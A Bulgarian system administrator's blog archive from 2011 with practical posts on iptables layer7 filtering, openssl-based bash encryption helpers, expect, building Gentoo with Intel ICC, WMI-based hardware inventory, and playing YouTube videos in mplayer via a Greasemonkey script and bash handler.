# cd /usr/src/l7-protocols-2008-04-23
# make install


Okay, just reboot and use!

# reboot

If by chance Debian does not automatically load the module, run the following command:

# modprobe ipt_layer7

Some rules:

iptables-A FORWARD-m-layer7 l7proto MSNMessenger-j DROP
iptables-A FORWARD-m-layer7 l7proto bittorrent-j DROP

вторник, 19 април 2011 г.

Криптиране от команден (bash скрипт) ред в Linux

наскоро ми трябваше сигурен начин да криприрам информацията с която един bash скрип работи. Това което намерих са следните функции:

function encrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
  else
  openssl aes-256-cbc -a -salt
  fi
}

function decrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
  openssl aes-256-cbc -a -d
  fi
}

разбира се може да се ползват и други алгоритми не само aes-256-cbc


ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc

за декриптиране
decrypt allfiles.tgz.enc

за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -

вторник, 29 март 2011 г.

Inspiration points

От дълго време се каня да пусна пост за моите "точки на вдъхновение".
Това са сайтовете в които търся вдъхновение, идеи, решения или просто разтуха. Тъй като това е първата от надявам се поредица такива теми ще започна с една доста стара точка и една наскоро намерена.

http://www.commandlinefu.com/
кръстникът на нашия блог - commandlinefu - съдържа засукани bash-овизми които в много случаи решават елегантно проблеми които биха изисквали стотици редове код на някои езици за програмиране.

И наскоро попадналият в полезранието ми:
http://chzv.net/
Често Задавани Въпроси е един роден блог който противно на името си отговаря на въпроси за сигурността, *nix администрацията, IT иновациите и куп други за които дори не сте се сетили да попитате :)

Пожелавам успех и дълголетие и на двата сайта и техните автори.

expect - control interactive applications

Наскоро ми се наложи да създам по 10 потребителя на зала с 15 компютъра.
На машините имам root и пуснат ssh но идентификацията е само с парола. Тоест нямам възможност за влизане със сертификат, което отрязва възможността за употреба на едно от многото решения за multi ssh или prallel ssh. След известно търсене намерих expect. Преди го бях срещал в чужди скриптове и никога не се бях заинтересувал какво точно прави, но този път след като го разгледах по-задълбочено установих, че това е страхотен инструмент за контрол на интерактивни приложения (тези които под интерактивни разбират шарени с GUI - моля напуснете веднага).
Скриптовете "очакват" (от там и името expect) някакво действие от страна на извикано приложение и реагират по определен начин.
Ето един линк в който нещата са обяснени доста изичстено и с примери:
http://floppsie.comp.glam.ac.uk/Glamorgan/gaius/scripting/5.html

За по-усложнени приложения има официален сайт с повече документация както и множество сайтове с готови скриптове.

събота, 26 март 2011 г.

вторник, 22 март 2011 г.

ICC + Gentoo

Приемаме, че имаме инсталиран Composer XE на Intel, от който е част ICC.

От тук нататък има поне 2 варианта :)

1. Да се използва gcc по подразбиране и само пакетите изброени в /etc/portage/package.icc да се компилират с icc

2. Да се използва icc по подразбиране и само пакетите изброени в /etc/portage/package.gcc да се компилират с gcc

Aз реших въпреки всички заплахи да опитам втория вариант, че даже и да добавя леко рисковани оптимизации и на gcc.

В общи линии се придържах към това ръководство:

http://www.gentoo-wiki.info/HOWTO_ICC_and_Portage


UPDATE: /etc/portage/bashrc при мен изглежда по следния начин:

http://chvor.net/bashrc


Първия ред не е споменат в ръководството, но той е нужен за да може portage си намери пътя на до icc както и да си вземе и останалите променливи на средата необходими за работата с целия Composer XE.

Чрез този метод компилирах нормална "general purpose" система с gnome, kde, openbox, видео/аудио плеари, web browsers, flash и др. Също така смея да твърдя, че след едно- седмично използване на системата се забелязва леко подобрение във времето за реакция. Приложенията се държат неочаквано стабилно с изключение на compiz-fusion, който гръмна 1-2 пъти, но той си гърмеше и преди icc.

UPDATE: /etc/make.conf

http://chvor.net/make.conf


Това са пакетите, които са компилирани с gcc: /etc/portage/package.gcc:

http://chvor.net/package.gcc


Toва са всички инсталирани пакети:

http://chvor.net/world


вторник, 15 март 2011 г.

YouTube или защо по навик търсим hack а не решение дадено от автора на сайта

След поста за youtube video в mplayer и осъзнавайки че google и в частност youtube са били така добри да предоставят решение което не включва "хак" на уеб сайта им се почувствах задължен да споделя това с "милионите" читатели на блога ни.

Решението е именно google data api-то което с пълна сила работи с youtube предоставяйки тонове готови библиотеки за различни езици и доста удобна документация с примери на всички тези езици:
http://code.google.com/apis/youtube/2.0/developers_guide_protocol_audience.html

Ето и линк с информация за останалите API-та на google:
http://code.google.com/apis/youtube/getting_started.html

Авторът, верен на идеята, че може да пише на всеки създаван някога програмен език (дори и тези които никога не е виждал) разбира се се насочи към най-малко познатият си Python:
http://code.google.com/apis/youtube/1.0/developers_guide_python.html 

Ето едно парче код като proof of concept с което ще приключим този пост:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Peach
import gdata.youtube
import gdata.youtube.service
import sys
def PrintEntryDetails(entry):
print '%s [%i:%i]' % (entry.media.title.text, (int(entry.media.duration.seconds)//60), (int(entry.media.duration.seconds)-(int(entry.media.duration.seconds)//60)*60) )
#print 'Video published on: %s ' % entry.published.text
#print 'Video description: %s' % entry.media.description.text
#print 'Video category: %s' % entry.media.category[0].text
#print 'Video tags: %s' % entry.media.keywords.text
#print 'Video watch page: %s' % entry.media.player.url
#print 'Video flash player URL: %s' % entry.GetSwfUrl()
#print 'Video duration: %s' % entry.media.duration.seconds

def PrintVideoFeed(feed):
i=1
for entry in feed.entry:
sys.stdout.write('[')
sys.stdout.write(str(i))
sys.stdout.write('] ')
i=i+1
PrintEntryDetails(entry)

def SearchAndPrint(search_terms):
yt_service = gdata.youtube.service.YouTubeService()
query = gdata.youtube.service.YouTubeVideoQuery()
query.vq = search_terms
query.max_results = 50
query.orderby = 'relevance'
query.racy = 'include'
feed = yt_service.YouTubeQuery(query)
PrintVideoFeed(feed)

SearchAndPrint('Rihanna unfaithful')

Софтуер за инвентаризация; WMI (част 2)

Втора част на темата за инвентаризационния софтуер.

В края на първа част си изяснихме какви са заявките които GNI изпълнява на таргет машината, сега дойде врееме да се въвлече малко код и тъй като по определение системните администратори са мързеливи и не обичат да правят нещата отначало то ще използваме страхотен инструмент който Microsoft са създали през далечната 2005 година.

WMI Code Creator v 1.0
http://www.microsoft.com/downloads/en/confirmation.aspx?FamilyID=2cc30a64-ea15-4661-8da4-55bbc145c30e&displaylang=en

Това е едно страхотно приложение което генерира код (имаме избор между C#, VB.NET,VBS) изпълняващ WMI заявки върху локалната машина, отдалечен компютър или група от компютри.

За нашите нужди разбира се ще се наложи да използваме група компютри и тъй като автора е бегло запознат единствено със C# то това ще е езика на генериране.

Добре ще е да можем да си набавяме групата компютри по по-интелигентен начин от записване на ръка. Идеален начин е да използваме LDAP през Windows Domain и тъй като ние разбира се разполагаме с такъв то ето малко C# код който прави точно това.

http://stackoverflow.com/questions/3044489/c-net-retrieve-list-of-computers-in-a-folder-in-a-domain

Е от тук предполагам, че всеки може сам да си напише(събере) код който прави нещата по начин който му харесва.

Това че автора не поства кода на собственото си приложение е само за да не бъде изпиратствано то от зловредни агенти а не защото е толкова мързелив че все още не го е написал :)

Софтуер за инвентаризация; WMI (част 1)

 Поста е провокиран от нуждата от софтуер който да създава автоматизирана инвентаризация на Windows работни станции. Такива софтуери съществуват много и все пак никой който аз съм срещал не дава всичко от което имаме нужда наведнъж без излишни такси или инсталация на агенти. За да стане по-ясно ще обобщя какви са задължителните изисквания към софтуера:

1. Да събира информация от работните станции за:
  • Процесор
  • Дънна платка 
  • Инсталирана RAM
  • Hard disk
  • Мрежов адаптер
  • ... (всякаква друга периферия)
     
2. Да не изисква инсталация на работните станции.
3. Да притежава елементарен интуитивен web интерфейс
4. Да може да организира отделните станции в групи (по зали)
5. Да може да сигнализира за промяна в хардуерната конфигурация на ниво машина или зала

След едно доста широко търсене за такъв софтуер (свободен; желателно с отворен код) се откриха множество проекти които изпълняват част от условият като към тях прибавят огромна шарения + възможности за къпане на бебета, но нито един който да прави всички горе изброени точки без да добавя излишни неща.

Все пак търсенето на софтуер не беше напълно безпочвено тъй като изясни ако не кой ще е кандидата то поне какви биха били техническите характеристики на решението. А именно (по точки):

1. WMI
2. WMI
3. код който чете от WMI и пише в база данни от която друг код пълни web интерфейса
4. в т.3 обърнете внимание на база данни
5. О! база данни + email2sms

(предполагам, че ако някой чете този блог ще бъде силно озадачен какво изобщо става тук, но трябва да е ясно, че целта на блога е да обяснява на технически грамотни люде какво е направил един(или няколко) системни администратори. т.е. не очаквайте прекалено дълги захаросани обяснения)

да се върнем на техническото описание на решението за да обобщим характеристиките на нашият hero app :)

Това би било софтуер който извлича информация за работна станция през WMI и я записва в база данни. И друг такъв който въз основа на информацията в базата създава web приложение за справочни цели. Нека добавим и тригери в базата които извикват елементарен външен скрипт който ни известява за проемни в хардуерната конфигурация. 

Това звучи сложно, но хей ...  нека се опитам да го представя през админски поглед :)   (отново в типичният вече за този блог натрупан с линкове доста хаотичен стил)



1. харесваме си софтуер който прави необходимите WMI справки. Аз съм се спрял на Global Network Inventory на фирмата MagnetoSoft. Браво момчета чудестна работа но при 300 работни станции и цена от 950 долара за година... предпочитам да ви почерпя бира и да си говорим за мацки :)
2. инсталираме GNI (Global Network Inventory) trial версия на някоя машина.
3. на друга машина Vista+ стартираме wevtutil така че да следи за WMI активност.
http://www.windowsitpro.com/article/windows-client/An-Easier-Way-to-View-Incoming-WMI-Queries.aspx
4. Изпълняваме GNI сканиране на машината от точка 3 така че цялата информация която GNI може да извлича за дадена станция да е налична.
5. Отново според туториъла в точка 3 изличаме логовете за  WMI активност
и ги записваме във текстов файл (в моя случай 1.log)
6. Магически ги пресяваме. Например с egrep под линукс:
peach@l1fe:~/Desktop$ cat 1.log | egrep -o "<Operation>.*.</Operation>" | grep ExecQuery | egrep -o "select.*.<"
select *from Win32_Service<select *from Win32_DiskDrive<
select *from Win32_LogicalDisk<
select *from Win32_Printer<
select *from Win32_Processor<
select *from Win32_PhysicalMedia<
select *from Win32_VideoController<
select *from Win32_Environment<
select __RELPATH, Name from Win32_Desktop<
select *from Win32_OperatingSystem<
select __RELPATH, __RELPATH from Win32_Process<
select *from Win32_PhysicalMemory<
select *from Win32_PageFile<
select *from Win32_PortConnector<
select *from Win32_BIOS<
select *from Win32_ComputerSystem<
select *from Win32_ComputerSystemProduct<
select *from Win32_SystemEnclosure<
select *from Win32_NetworkAdapter<
select *from Win32_BaseBoard<
select *from Win32_OperatingSystem<
select __RELPATH, __RELPATH from Win32_Process<
select *from Win32_NetworkAdapterConfiguration<
select *from Win32_Desktop<
select *from Win32_SystemSlot<

Ето и WMI заявките които GNI изпълнява. Благодаря ти GNI :)
Край на първа част.
Очаквайте във втора част писането на кода отново изпълнено с множество изненади :)

петък, 11 март 2011 г.

YouTube в Mplayer (или друг плейър)

Големи благодарности на целия екип на FreeBSD, че не си бяха свършили работата да предоставят работеща алтернатива на flashplayer която да може да пуска видеа от youtube.

По този начин те предоставиха предизвикателството да се намери заобиколен начин за пускане на youtubе-ските видеа с външен плейър.

Решението което ще покажа е работещо към датата на публикуване и устройва автора като начин/удобство на употреба.

Решението се състои от 3 основни стъпки:
  1. firefox
  2. greasemonkey script
  3. bash script 
По точка първа ще ви трябва работещ firefox 3.5+ (тествано с 3.6) с инсталиран greasemonkey.  Конфигурираме нов протокол във firefox който да работи с външно приложение. Справки тук:
http://kb.mozillazine.org/Register_protocol#Linux

Точка втора е създаването на greasemonkey script който да изрязва video id-то от отворената youtube страница и да го изпраща към bash скрипта. Ето скрипта който аз използвам:

// ==UserScript==
// @name Youtube Video Play to Mplayer
// @namespace http://admin-fu.blogspot.com/
// @description Play You Tube video to Mplayer
// @include http://*.youtube.com/*
// @include http://youtube.com/*
// ==/UserScript==
function youtubeIDextract(url)
{
var youtube_id;
youtube_id = url.replace(/^[^v]+v.(.{11}).*/,"$1");
return youtube_id;
}
var id = youtubeIDextract(window.location.href);
GM_openInTab("ytm://"+id);


И последната точка 3 е bash скрипта който се явява протокол хендлър за новият портокол на firefox (обяснено в точка 1). Ето скрипта:

#!/bin/bash
i=`echo "$1" | cut -d"/" -f3`
mplayer $(wget http://www.youtube.com/watch?v=$i -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/')


Предполагам ще се налага промяна в bash скрипта всеки път като youtube параноясат и решат да защитават нечии авторски права.

Testdisk

http://www.cgsecurity.org/wiki/TestDisk

TestDisk is powerful free data recovery software! It was primarily designed to help recover lost partitions and/or make non-booting disks bootable again when these symptoms are caused by faulty software, certain types of viruses or human error (such as accidentally deleting a Partition Table). Partition table recovery using TestDisk is really easy.

TestDisk can

  • Fix partition table, recover deleted partition
  • Recover FAT32 boot sector from its backup
  • Rebuild FAT12/FAT16/FAT32 boot sector
  • Fix FAT tables
  • Rebuild NTFS boot sector
  • Recover NTFS boot sector from its backup
  • Fix MFT using MFT mirror
  • Locate ext2/ext3/ext4 Backup SuperBlock
  • Undelete files from FAT, NTFS and ext2 filesystem
  • Copy files from deleted FAT, NTFS and ext2/ext3/ext4 partitions.

TestDisk has features for both novices and experts. For those who know little or nothing about data recovery techniques, TestDisk can be used to collect detailed information about a non-booting drive which can then be sent to a tech for further analysis. Those more familiar with such procedures should find TestDisk a handy tool in performing onsite recovery.

dcfldd - Enhanced dd

http://dcfldd.sourceforge.net/


Introduction

  • dcfldd is an enhanced version of GNU dd with features useful for forensics and security. Based on the dd program found in the GNU Coreutils package, dcfldd has the following additional features:
     
  • Hashing on-the-fly - dcfldd can hash the input data as it is being transferred, helping to ensure data integrity.
     
  • Status output - dcfldd can update the user of its progress in terms of the amount of data transferred and how much longer operation will take.
     
  • Flexible disk wipes - dcfldd can be used to wipe disks quickly and with a known pattern if desired.
     
  • Image/wipe Verify - dcfldd can verify that a target drive is a bit-for-bit match of the specified input file or pattern.
     
  • Multiple outputs - dcfldd can output to multiple files or disks at the same time.
    Split output - dcfldd can split output to multiple files with more configurability than the split command.
     
  • Piped output and logs - dcfldd can send all its log data and output to commands as well as files natively.